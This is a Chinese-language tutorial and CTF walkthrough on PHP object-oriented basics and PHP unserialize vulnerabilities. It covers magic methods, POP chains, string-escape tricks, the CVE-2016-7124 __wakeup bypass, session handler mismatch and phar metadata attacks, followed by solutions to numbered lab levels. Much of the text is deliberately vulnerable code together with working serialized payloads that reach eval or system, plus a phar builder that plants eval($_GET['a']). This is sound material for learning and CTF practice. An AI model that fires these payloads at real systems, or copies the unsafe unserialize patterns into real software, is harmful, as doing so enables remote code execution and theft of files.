php面像对象基本知识 对象的三个特征:对象的行为、对象的形态、对象的表示
类的定义:类是定义了一件事物的抽象特点,它将数据的形式以及这些数据 上的操作封装在一起。
对象是具有类类型的变量,是对类的实例。
内部构成:成员变量(属性) +成员函数(方法)
成员变量:定义在类内部的变量。该变量的值对外是不可见的但是可以通过成员函数访问在类被实例化为对象后,该变量即可成为对象的属性。
成员函数:定义在类的内部可用于访问对象的数据。
继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。
在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。
类于对象 类的结构 类:定义类名、定义成员变量(属性)、定义成员函数(方法)
<?php class Class_Name { } ?>
创建一个类:
<?php class hero { var $name ; var $sex ; function jineng ($var1 ) { echo $this ->name; echo $var1 ; } } ?>
实例化和复制 <?php highlight_file (__FILE__ );class hero { var $name ; var $sex ; function jineng ($var1 ) { echo $this ->name."<br />" ; echo $var1 ."<br />" ; } } $cyj = new hero (); $cyj ->name='chengyaojin' ;$cyj ->sex='man' ;$cyj ->jineng ('zuofan' );print_r ($cyj );?>
类的修饰符介绍 在类中直接声明的变量称为成员属性(也可以成为成员变量)
可以在类中声明多个变量,即“对象”中可以有多个成员属性,每个变量都存储“对象”不同的属性信息。
访问权限修饰符:对属性的定义
常用访问权限修饰符:
public:公共的,在类的内部、子类中或者类的外部都可以使用,不受限制;
protected:受保护的,在类的内部、子类中可以使用,但不能在类的外部使用;
private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。
<?php highlight_file (__FILE__ );class hero { public $name ='chengyaojin' ; private $sex ='man' ; protected $shengao ='165' ; function jineng ($var1 ) { echo $this ->name; echo $var1 ; } } $cyj = new hero ();echo $cyj ->name."<br />" ;echo $cyj ->sex."<br />" ;echo $cyj ->shengao."<br />" ;?>
<?php highlight_file (__FILE__ );class hero { public $name ='chengyaojin' ; private $sex ='man' ; protected $shengao ='165' ; function jineng ($var1 ) { echo $this ->name; echo $var1 ; } } class hero2 extends hero { function test ( ) { echo $this ->name."<br />" ; echo $this ->sex."<br />" ; echo $this ->shengao."<br />" ; } } $cyj = new hero ();$cyj2 =new hero2 ();echo $cyj ->name."<br />" ;echo $cyj2 ->test ();?>
序列化知识 序列化的作用 序列化 (Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程。将对象或者数组转化为可储存/传输的字符串。
演示:
<?php highlight_file (__FILE__ );class TEST { public $data ; public $data2 = "dazzhuang" ; private $pass ; public function __construct ($data , $pass ) { $this ->data = $data ; $this ->pass = $pass ; } } $number = 34 ;$str = 'user' ;$bool = true ;$null = NULL ;$arr = array ('a' => 10 , 'b' => 200 );$test = new TEST ('uu' , true );$test2 = new TEST ('uu' , true );$test2 ->data = &$test2 ->data2;echo serialize ($number )."<br />" ;echo serialize ($str )."<br />" ;echo serialize ($bool )."<br />" ;echo serialize ($null )."<br />" ;echo serialize ($arr )."<br />" ;echo serialize ($test )."<br />" ;echo serialize ($test2 )."<br />" ;?>
数组序列化 <?php highlight_file (__FILE__ );$a = array ('benben' ,'dazhuang' ,'laoliu' );echo $a [0 ];echo serialize ($a );?>
对象序列化 <?php highlight_file (__FILE__ );class test { public $pub ='benben' ; function jineng ( ) { echo $this ->pub; } } $a = new test ();echo serialize ($a );?>
私有修饰符 <?php highlight_file (__FILE__ );class test { private $pub ='benben' ; function jineng ( ) { echo $this ->pub; } } $a = new test ();echo serialize ($a );?>
私有属性会在当前类加上类名,再加上%00,也就是null
url编码:O%3A4%3A%22test%22%3A1%3A%7Bs%3A9%3A%22%00test%00pub%22%3Bs%3A6%3A%22benben%22%3B%7D
保护修饰符 <?php highlight_file (__FILE__ );class test { protected $pub ='benben' ; function jineng ( ) { echo $this ->pub; } } $a = new test ();echo serialize ($a );?>
会多个星号,然后前后都有null,提交的时候要加%00*%00
成员属性调用对象 <?php highlight_file (__FILE__ );class test { var $pub ='benben' ; function jineng ( ) { echo $this ->pub; } } class test2 { var $ben ; function __construct ( ) { $this ->ben=new test (); } } $a = new test2 ();echo serialize ($a );?>
反序列化 1.反序列化之后的内容为一个对象;
2.反席列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;
反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控,得到所需要的代码,即生成的对象的属性值。通过更改这个值(字符串),
3.反序列化不触发类的成员方法;需要调用方法后才能触发;
<?php highlight_file (__FILE__ );class test { public $a = 'benben' ; protected $b = 666 ; private $c = false ; public function displayVar ( ) { echo $this ->a; } } $d = new test ();$d = serialize ($d );echo $d ."<br />" ;echo urlencode ($d )."<br />" ;$a = urlencode ($d );$b = unserialize (urldecode ($a ));var_dump ($b );?>
例题 <?php highlight_file (__FILE__ );error_reporting (0 );class test { public $a = 'echo "this is test!!";' ; public function displayVar ( ) { eval ($this ->a); } } $get = $_GET ["benben" ];$b = unserialize ($get );$b ->displayVar () ;?>
<?php class test { public $a = 'echo "this is test!!";' ; public function displayVar ( ) { eval ($this ->a); } } echo serialize (new test ());
如果是要执行命令的话,比如ipconfig,可以利用以下代码
<?php class test { public $a = 'system("ipconfig");' ; public function displayVar ( ) { eval ($this ->a); } } echo serialize (new test ());?>
魔术方法介绍,构造和析构 魔术方法 :一个预定义好的,在特定情况下自动触发的行为方法。
魔术方法的作用 :
反序列化漏洞的成因:
反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,通过调用方法,触发代码执行。
思路
先思考触发时机,再思考功能,再想会不会传参数,然后得出返回值
construct()、destruct 类的构建和析构函数 <?php highlight_file (__FILE__ );class User { public $username ; public function __construct ($username ) { $this ->username = $username ; echo "触发了构造函数1次" ; } } $test = new User ("benben" );$ser = serialize ($test );unserialize ($ser );?>
<?php highlight_file (__FILE__ );class User { public function __destruct ( )#在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法,在反序列化过程中会触发 ; { echo "触发了析构函数1次" ."<br />" ; } } $test = new User ("benben" );$ser = serialize ($test );unserialize ($ser );?>
例题
<?php highlight_file (__FILE__ );error_reporting (0 );class User { var $cmd = "echo 'dazhuang666!!';" ; public function __destruct ( ) { eval ($this ->cmd); } } $ser = $_GET ["benben" ];unserialize ($ser );?>
构造,让cmd=我们想要的指令就行
O:4:”User”:1:{s:3:”cmd”;s:14:”system(‘dir’);”;}
weakup()、sleep方法 __sleep()
**序列化serialize()**函数会检査类中是否存在一个魔术方法_ seep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法未返回任何内容,则 NULL被序列化,并产生一个ENOTICE级别的错误。
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值:需要被序列化存储的成员属性
<?php highlight_file (__FILE__ );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; public function __construct ($username , $nickname , $password ) { $this ->username = $username ; $this ->nickname = $nickname ; $this ->password = $password ; } public function __sleep ( ) { return array ('username' , 'nickname' ); } } $user = new User ('a' , 'b' , 'c' );echo serialize ($user );?>
可以发现password没有了,这是因为序列化调用了sleep,只返回了这两个值,我们把sleep注释掉看看结果。
可以啊看到就有password了,且因为是private,前面还加上了类名和null
例题
<?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; public function __construct ($username , $nickname , $password ) { $this ->username = $username ; $this ->nickname = $nickname ; $this ->password = $password ; } public function __sleep ( ) { system ($this ->username); } } $cmd = $_GET ['benben' ];$user = new User ($cmd , 'b' , 'c' );echo serialize ($user );?>
这里直接构造参数benben=dir即可
__wakeup()
和sleep相反,unserialize() 会检查是否存在一个wakeup()方法。如果存在,则会先调用,wakeup()方法,预先准备对象需要的资源。预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
例题
<?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; private $order ; public function __wakeup ( ) { $this ->password = $this ->username; } } $user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}' ;var_dump (unserialize ($user_ser ));?>
可以看到本来没有赋值的password赋值了a
<?php highlight_file (__FILE__ );error_reporting (0 );class User { const SITE = 'uusama' ; public $username ; public $nickname ; private $password ; private $order ; public function __wakeup ( ) { system ($this ->username); } } $user_ser = $_GET ['benben' ];unserialize ($user_ser );?>
**O:4:”User”:1:{s:8:”username”;s:3:”dir”;}**,这里不用写全,因为最后也是调用wakeup只要用username即可,这句就相当于给username赋值
class xctf {public $flag = '111' ;public function __wakeup ( ) {exit ('bad requests' );} ?code=
O:4:”xctf”:1:{s:4:”flag”:s:3:”111”;}
__toString() 表达方式错误导致魔术方法触发,即把对象当成字符串 调用
例子:
<?php highlight_file (__FILE__ );error_reporting (0 );class User { var $benben = "this is test!!" ; public function __toString ( ) { return '格式不对,输出不了!' ; } } $test = new User () ;print_r ($test );echo "<br />" ;echo $test ;?>
可以看到,在echo时,调用了toString方法。把类User实体化并赋值给$test,此时$test是个对象调用对象可以使用print_r或者var_dump如果使用echo或者print只能调用字符串的方式去调用对象即把对象当成字符串使用,此时自动触发tostring(),常用于构造POP链
__invoke 这个是格式方法错误导致被调用。
例子:
<?php highlight_file (__FILE__ );error_reporting (0 );class User { var $benben = "this is test!!" ; public function __invoke ( ) { echo '它不是个函数!' ; } } $test = new User () ;echo $test ->benben;echo "<br />" ;echo $test () ->benben;?>
把类User实体化并赋值给$test为对象正常输出对象里的值benben加()是把test当成函数test()来调用,此时触发invoke()
错误调用属性和方法的魔术方法 __call() 触发时机:调用一个不存在的方法
功能:
参数:2个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php highlight_file (__FILE__ );error_reporting (0 );class User { public function __call ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } } $test = new User () ;$test -> callxxx ('a' );?>
9调用的方法callxxx()不存在,触发魔术方法call(),传参$arg1,$arg2(callxxx,a) $arg1,调用的不存在的方法的名称;
$arg2,调用的不存在的方法的参数;
__callStatic() <?php highlight_file (__FILE__ );error_reporting (0 );class User { public function __callStatic ($arg1 ,$arg2 ) { echo "$arg1 ,$arg2 [0]" ; } } $test = new User () ;$test ::callxxx ('a' );?>
触发时机:静态调用或调用成员常量时使用的方法不存在 参数:2个参数传参$arg1,$arg2
返回值:调用的不存在的方法的名称和参数 静态调用::时的方法callxxx()不存在 触发callStatic(),传参$arg1,$arg2(callxxx,a)
__get 触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php highlight_file (__FILE__ );error_reporting (0 );class User { public $var1 ; public function __get ($arg1 ) { echo $arg1 ; } } $test = new User () ;$test ->var2;?>
__set 和get相对的
触发时机:给不存在的成员属性赋值
参数:传参$arg1,$arg2
返回值:不存在的成员属性的名称和赋的值
<?php highlight_file (__FILE__ );error_reporting (0 );class User { public $var1 ; public function __set ($arg1 ,$arg2 ) { echo $arg1 .',' .$arg2 ; } } $test = new User () ;$test ->var2=1 ;?>
既要调用也要赋值
__isset() 触发时机:对不可访问属性使用 isset()或empty() 时,_isset()会被调用。
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php highlight_file (__FILE__ );error_reporting (0 );class User { private $var ; public function __isset ($arg1 ) { echo $arg1 ; } } $test = new User () ;isset ($test ->var );?>
isset()调用的成员属性var不可访问或不存在,z这里是访问了私有属性的成员
__unset() 触发时机:对不可访问属性使用 unset()时
参数:传参$arg1
返回值:不存在的成员属性的名称
<?php highlight_file (__FILE__ );error_reporting (0 );class User { private $var ; public function __unset ($arg1 ) { echo $arg1 ; } } $test = new User () ;unset ($test ->var );?>
unset()调用的成员属性var不可访问或不存在 触发unset()返回$arg1,不存在成员属性的名称;
__clone() <?php highlight_file (__FILE__ );error_reporting (0 );class User { private $var ; public function __clone ( ) { echo "__clone test" ; } } $test = new User () ;$newclass = clone ($test )?>
pop链 前置知识 <?php highlight_file (__FILE__ );error_reporting (0 );class index { private $test ; public function __construct ( ) { $this ->test = new normal (); } public function __destruct ( ) { $this ->test->action (); } } class normal { public function action ( ) { echo "please attack me" ; } } class evil { var $test2 ; public function action ( ) { eval ($this ->test2); } } unserialize ($_GET ['test' ]);?>
反推法:
利用点首先是在eval,这个是危险函数,然后eval的参数是test2,然后由action方法调用,往上找,normal类里也有个action,但不是魔术方法,不会自己调用,但可以发现index类里的destruct方法里会调用action,所以我们要给test赋值一个对象,也就是evil,所以构造时需要把test赋值成test,但前面construct也给test赋值了,但反序列化不会调用所以不管他,下面用代码构造payload
<?php error_reporting (0 );class index { private $test ; public function __construct ( ) { $this ->test = new evil (); } } class evil { var $test2 = "system('dir');" ; public function action ( ) { eval ($this ->test2); } } echo serialize (new index ());?>
O:5:”index”:1:{s:11:”%00index%00test”;O:4:”evil”:1:{s:5:”test2”;s:14:”system(‘dir’);”;}}
另一种方法,要在$test2是在public的情况下才可以用
<?php class index { private $test ; } class evil { var $test2 ; } $a = new evil ();$a = new evil ();$a ->test2 = "system('ipconfig');" ;$b = new index ();$b ->test=$a ;echo serialize ($b );?>
魔术方法触发前提:魔术方法所在类(或对象)被调用
__wakeup() <?php highlight_file (__FILE__ );error_reporting (0 );class fast { public $source ; public function __wakeup ( ) { echo "wakeup is here!!" ; echo $this ->source; } } class sec { var $benben ; public function __toString ( ) { echo "tostring is here!!" ; } } $b = $_GET ['benben' ];unserialize ($b );?
目的是显示tosring is here!!,这就需要我们去构造一个把对象当字符串输出的例子,所以我们需要把sec()示例化成对象后当成字符串输出,在echo中的source
构造
<?php error_reporting (0 );class fast { public $source ; } class sec { var $benben ; } $a = new sec ();$b = new fast ();$b ->source = $a ;echo serialize ($b );?>
POP链构造和POC编写 在反序列化 中,我们能控制的数据就是对象中的属性值(成员变量)所以在PHP反序列化中有一种漏洞利用方法叫”面向属性编程”即POP( Property Oriented Programming).
POP链 就是利用魔法方法在里面进行多次跳转然后获取敏感数据的-种payload。
POC (全称:Proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。PoC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
<?php highlight_file (__FILE__ );error_reporting (0 );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
构造代码,将上面代码复制下来,删去函数
<?php highlight_file (__FILE__ );error_reporting (0 );class Modifier { private $var ="flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $a = new Modifier ();$c = new Test ();$c ->p = $a ;$b = new Show ();$b ->str=$c ;$b ->source = $b ;echo serialize ($b );?>
字符串逃逸 反席列化分隔符
反序列化以**;}**结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多 或者变少 的时候有可能存在反序列化属性逃逸。
<?php highlight_file (__FILE__ );error_reporting (0 );class A { public $v1 = "abcsystem()system()system()" ; public $v2 = '123' ; public function __construct ($arga ,$argc ) { $this ->v1 = $arga ; $this ->v2 = $argc ; } } $a = $_GET ['v1' ];$b = $_GET ['v2' ];$data = serialize (new A ($a ,$b ));$data = str_replace ("system()" ,"" ,$data );var_dump (unserialize ($data ));?>
<?php highlight_file (__FILE__ );error_reporting (0 );class A { public $v1 = 'ls' ; public $v2 = '123' ; public function __construct ($arga ,$argc ) { $this ->v1 = $arga ; $this ->v2 = $argc ; } } $a = $_GET ['v1' ];$b = $_GET ['v2' ];$data = serialize (new A ($a ,$b ));$data = str_replace ("ls" ,"pwd" ,$data );var_dump (unserialize ($data ));
例题:
<?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } } $param =$_GET ['param' ];$param =serialize (new test ($param ));$profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo file_get_contents ("flag.php" ); } ?>
<?php class test { var $user = "benben" ; var $pass = "escaping" ; } echo serialize (new test ());
O:4:”test”:2:{s:4:”user”;s:6:”benben**”;s:4:”pass”;s:8:”escaping”;}**
加粗部分就是要逃逸的代码,$user是可以控制的,加粗部分一共29个字符,然后一个php吐出一个字符
所以我们需要写29个php,所以
$param ='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}'
<?php highlight_file (__FILE__ );error_reporting (0 );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hk" ,$name ); return $name ; } class test { var $user ; var $pass ; var $vip = false ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } } $param =$_GET ['user' ];$pass =$_GET ['pass' ];$param =serialize (new test ($param ,$pass ));$profile =unserialize (filter ($param ));if ($profile ->vip){ echo file_get_contents ("flag.php" ); } ?>
<?php class test { var $user = "flag" ; var $pass = "benben" ; var $vip = true ; } echo serialize (new test ());?>
user=flagflagflagflagflagflagflagflagflagflag
pass=1”;s:4:”pass”;s:6:”benben”;s:3:”vip”;b:1;}
__wakeup()绕过 反序列化漏洞:CVE-2016-7124 PHP5<5.6.25
PHP7<7.0.10
漏洞产生原因:如果存在_wakeup方法,调用unserilize()方法前则先调用_wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时,会跳过wakeup()的执行
<?php error_reporting (0 );class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } } $cmd =$_GET ['cmd' ];if (!isset ($cmd )){ highlight_file (__FILE__ ); } else { if (preg_match ('/[oc]:\d+:/i' ,$cmd )){ echo "Are you daydreaming?" ; } else { unserialize ($cmd ); } } ?>
<?php class secret { var $file = "flag.php" ; } $a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}' ;echo urlencode ($a );
攻防世界Web_php_unserialize <?php class Demo { private $file = 'index.php' ; public function __construct ($file ) { $this ->file = $file ; } function __destruct ( ) { echo @highlight_file ($this ->file, true ); } function __wakeup ( ) { if ($this ->file != 'index.php' ) { $this ->file = 'index.php' ; } } } if (isset ($_GET ['var' ])) { $var = base64_decode ($_GET ['var' ]); if (preg_match ('/[oc]:\d+:/i' , $var )) { die ('stop hacking!' ); } else { @unserialize ($var ); } } else { highlight_file ("index.php" ); } ?>
构造
<?php class Demo { private $file = 'fl4g.php' ; } $a = serialize (new Demo ());$a = str_replace ('O:4' , 'O:+4' , $a ); $a = str_replace (':1:' , ':2:' , $a );$b = 'O%3A%2B4%3A%22Demo%22%3A2%3A%7Bs%3A10%3A%22%2500Demo%2500file%22%3Bs%3A8%3A%22f14g.php%22%3B%7D' ;echo base64_encode ($a );?>
要注意的是,自己换空值好像不行,得保存后得字符串才行。
引用的利用方式 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );class just4fun { var $enter ; var $secret ; } if (isset ($_GET ['pass' ])) { $pass = $_GET ['pass' ]; $pass =str_replace ('*' ,'\*' ,$pass ); } $o = unserialize ($pass );if ($o ) { $o ->secret = "*" ; if ($o ->secret === $o ->enter) echo "Congratulation! Here is my secret: " .$flag ; else echo "Oh no... You can't fool me" ; } else echo "are you trolling?" ;?>
<?php class just4fun { var $enter ; var $secret ; } $a = new just4fun ();$a ->enter =& $a ->secret;echo serialize ($a );
session反序列化 session 当session start()被调用或者php.ini中session.auto start为1时PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)存取数据的格式有多种,常用的有三种:
处理器
对应得存储格式
php
键名+竖线+经过serialize()函数序列化处理得值
php_serialize(php>=5.5.4)
经过序列化处理得数组
php_binary
键名长度对应得ASCII字符+键名+经过反序列化处理得值
漏洞产生:写入格式和读取格式不一致
<?php highlight_file (__FILE__ );error_reporting (0 );session_start ();$_SESSION ['benben' ] = $_GET ['ben' ];?>
<?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php' );session_start ();class D { var $a ; function __destruct ( ) { eval ($this ->a); } } ?>
<?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' ,'php_serialize' );session_start ();$_SESSION ['ben' ] = $_GET ['a' ];?>
构造 ,关键是一个页面写入,另一个页面会读取
<?php class D { var $a = 'system("dir")' ; } echo serialize (new D ());
例题
<?php highlight_file (__FILE__ );session_start ();class Flag { public $name ; public $her ; function __wakeup ( ) { $this ->her=md5 (rand (1 , 10000 )); if ($this ->name===$this ->her){ include ('flag.php' ); echo $flag ; } } } ?>
<?php highlight_file (__FILE__ );error_reporting (0 );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?>
要用到引用的知识
<?php class Flag { public $name ; public $her ; } $a = new Flag ();$a ->name =& $a ->her;echo serialize ($a );?>
phpar
<?php highlight_file (__FILE__ );error_reporting (0 );class Testobj { var $output ="echo 'ok';" ; function __destruct ( ) { eval ($this ->output); } } if (isset ($_GET ['filename' ])){ $filename =$_GET ['filename' ]; var_dump (file_exists ($filename )); } ?>
<?php highlight_file (__FILE__ );class Testobj { var $output ='' ; } @unlink ('test.phar' ); $phar =new Phar ('test.phar' ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $o =new Testobj ();$o ->output='eval($_GET["a"]);' ;$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" ,"test" ); $phar ->stopBuffering ();?>
例题
<?php highlight_file (__FILE__ );error_reporting (0 );class TestObject { public function __destruct ( ) { include ('flag.php' ); echo $flag ; } } $filename = $_POST ['file' ];if (isset ($filename )){ echo md5_file ($filename ); } ?>
记得把php,ini里的phar_readonly关了
mylove <?php class a { public function __get ($a ) { $this ->b->love (); } } class b { public function __destruct ( ) { $tmp = $this ->c->name; } public function __wakeup ( ) { $this ->c = "no!" ; $this ->b = $this ->a; } } class xk { public function love ( ) { $a = $this ->mylove; } public function __get ($a ) { if (preg_match ("/\.|\.php/" ,$this ->man)){ die ("文件名不能有." ); } file_put_contents ($this ->man,base64_decode ($this ->woman)); } } class end { public function love ( ) { ($this ->func)(); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); if (preg_match ("/N$/" ,$_GET ['test' ])){ $tmp = $_GET ['test' ]; } } else { show_source (__FILE__ ); phpinfo (); } if ($$tmp ['name' ]=='your are good!' ){ echo 'ok!' ; system ($_GET ['shell' ]); }
注意事项
关卡
不适用其他版本的原因以及相关设置
level4 create_fucntion与可变函数调用
5.6不支持可变函数,7.2已废除create_function
level5 序列化格式过滤与CVE-2016-7124
CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10
level6 私有属性反序列化
escaped binary string(仅从php6开始支持)
level7 __call与属性的初始值
同上
level10 just_one_soap
需要开启soap扩展(php5.6:extension=php_soap)
level11 a phar 和 level12 a phar trick
php.ini中phar.readonly=Off(若有分号则去掉)
level13 引用和session
session.auto_start=0; session.serialize_handler = php;(level13均为默认设置)
leve14 session.upload_progress
session.auto_start=0; session.serialize_handler = php_serialize; session.upload_progress.enabled = On; session.upload_progress.cleanup = Off; session.upload_progress.prefix = “upload_progress_”; session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”; session.upload_progress.freq = “1%”; session.upload_progress.min_freq = “1”;
level1 类的实例化 <?php highlight_file (__FILE__ );header ('Content-type:text/html;charset=utf-8' );class a { var $act ; function action ( ) { eval ($this ->act); } } $a =unserialize ($_GET ['flag' ]);$a ->action ();?>
直接构造就行
level2 <?php highlight_file (__FILE__ );header ('Content-type:text/html;charset=utf-8' );include ("flag.php" );class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =unserialize ($_GET ['param' ]);if ($a ->login ()){ echo $flag ; } ?> <br><a href="../level3" >点击进入第三关</a>
关键是要两个成员的值和判断条件一致,而调用construct方法,则需要序列化
<?php class mylogin { var $user ="daydream" ; var $pass ="ok" ; } echo serialize (new mylogin ());?>
level3 <?php highlight_file (__FILE__ );header ('Content-type:text/html;charset=utf-8' );include ("flag.php" );class mylogin { var $user ; var $pass ; function __construct ($user ,$pass ) { $this ->user=$user ; $this ->pass=$pass ; } function login ( ) { if ($this ->user=="daydream" and $this ->pass=="ok" ){ return 1 ; } } } $a =unserialize ($_COOKIE ['param' ]);if ($a ->login ()){ echo $flag ; } ?> <br><a href="../level4" >点击进入第四关</a>
分析:这里和上一题差不多,就是要从cookie中读取反序列化的值,搜了下,加上url编码即可,但好像只能本地用,
level4 本关涉及到create_fucntion方法要变换php版本,可以使用–php 7. 0.9
<?php highlight_file (__FILE__ );header ('Content-type:text/html;charset=utf-8' );class func { public $key ; public function __destruct ( ) { unserialize ($this ->key); } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } } unserialize ($_GET ['param' ]);?> <br><a href="../level5" >点击进入第五关</a>
这里还用到一个php特性——Array
当array内包裹的第一个值是对象,第二个是对象内的方法时
在反序列化后会调用该对象的方法
所以就可以利用这个特性调用到getflag这个方法,至于如何读取到flag就要用到前面说的create_fucntion,但不懂为什么不会弹回flag,应该是版本问题
level5 <?php class secret { var $file ='index.php' ; public function __construct ($file ) { $this ->file=$file ; } function __destruct ( ) { include_once ($this ->file); echo $flag ; } function __wakeup ( ) { $this ->file='index.php' ; } } $cmd =$_GET ['cmd' ]; if (!isset ($cmd )){ echo show_source ('index.php' ,true ); } else { if (preg_match ('/[oc]:\d+:/i' ,$cmd )){ echo "Are you daydreaming?" ; } else { unserialize ($cmd ); } } ?> <br><a href="../level6" >点击进入第六关</a>
wakeup绕过,正则表达式绕过
<?php class secret { var $file ='flag.php' ; } echo serialize (new secret ());
level6 <?php highlight_file (__FILE__ );class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } } $param =$_GET ['param' ];$param =str_replace ("%" ,"daydream" ,$param );unserialize ($param );?> <br><a href="../level7" >点击进入第七关</a>s
本关对输入的param进行了一个%的过滤,而且类中的属性的变量是私有属性
private属性序列化的时候格式是 %00类名%00成员名
payload
<?php class secret { private $comm ; public function __construct ($com ) { $this ->comm = $com ; } function __destruct ( ) { echo eval ($this ->comm); } } $pa = new secret ("system('sort flag.php');" );echo serialize ($pa ), "\n" ;
但还是不行, 这里因为%00被url解码后是不可见字符,所以要在类名左右加上\00且要将上面的小写s改成S
与小写”s”不同,大写”S”表示键名或属性名是区分大小写的。
level7 <?php highlight_file (__FILE__ );class you { private $body ; private $pro ='' ; function __destruct ( )#反序列化时调用 { $project =$this ->pro; $this ->body->$projecct (); } } class my { public $name ; function __call ($func , $args )//调用不存在方法的时候, { if ($func == 'yourname' and $this ->name == 'myname' ) { include ('flag.php' ); echo $flag ; } } } $a =$_GET ['a' ];unserialize ($a );?>
当调用不存在的方法时,会把不存在的方法名赋值给第一个参数,所以不存在的方法最好就是yourname,所以pro可以设置成yourname,而要调用不存在的方法,可以new一个my赋值给body,所以构造出来的代码是
<?php highlight_file (__FILE__ );class you { private $body = new my (); private $pro ='yourname' ; } class my { public $name = 'myname' ; } $a = new you ();echo serialize ($a );?>
但这样运行会报错,PHP不允许在类属性的声明中使用直接实例化的方式。
类属性的初始化必须使用常量或静态表达式,而不能使用函数调用或实例化操作。因此,将$body属性的初始化移动到类的构造函数中会解决这个问题。比如在serialize时会调用的construct方法
<?php highlight_file (__FILE__ );class you { private $body ; private $pro = 'yourname' ; public function __construct ( ) { $this ->body = new my (); } } class my { public $name = 'myname' ; } $a = new you ();echo serialize ($a );?>
level8 <?php highlight_file (__FILE__ );function filter ($name ) { $safe =array ("flag" ,"php" ); $name =str_replace ($safe ,"hack" ,$name ); return $name ; } class test { var $user ; var $pass ='daydream' ; function __construct ($user ) { $this ->user=$user ; } } $param =$_GET ['param' ];$profile =unserialize (filter ($param ));if ($profile ->pass=='escaping' ){ echo file_get_contents ("flag.php" ); } ?>
字符串逃逸,重要的是让filter里的name==escaping,test不用考虑,下面来看看要几个php把,先把需要的序列化字符串构造出来
<?php class test { var $user = "123" ; var $pass = "escaping" ; } echo serialize (new test ());
关键是要**s:4:”pass”;s:8:”escaping”;}**这一段,这时就要让吐出来的字符数为29个,加上前面的引号和冒号,而1个php转换成hack会吃掉一个字符,所以全部要29个php
最终代码
<?php class test { var $user ='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}' ; var $pass = "escaping" ; } echo serialize (new test ());
level9 <?php highlight_file (__FILE__ );class Modifier { private $var ; public function append ($value ) { include ($value ); echo $flag ; } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { echo $this ->source; } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ unserialize ($_GET ['pop' ]); } ?>
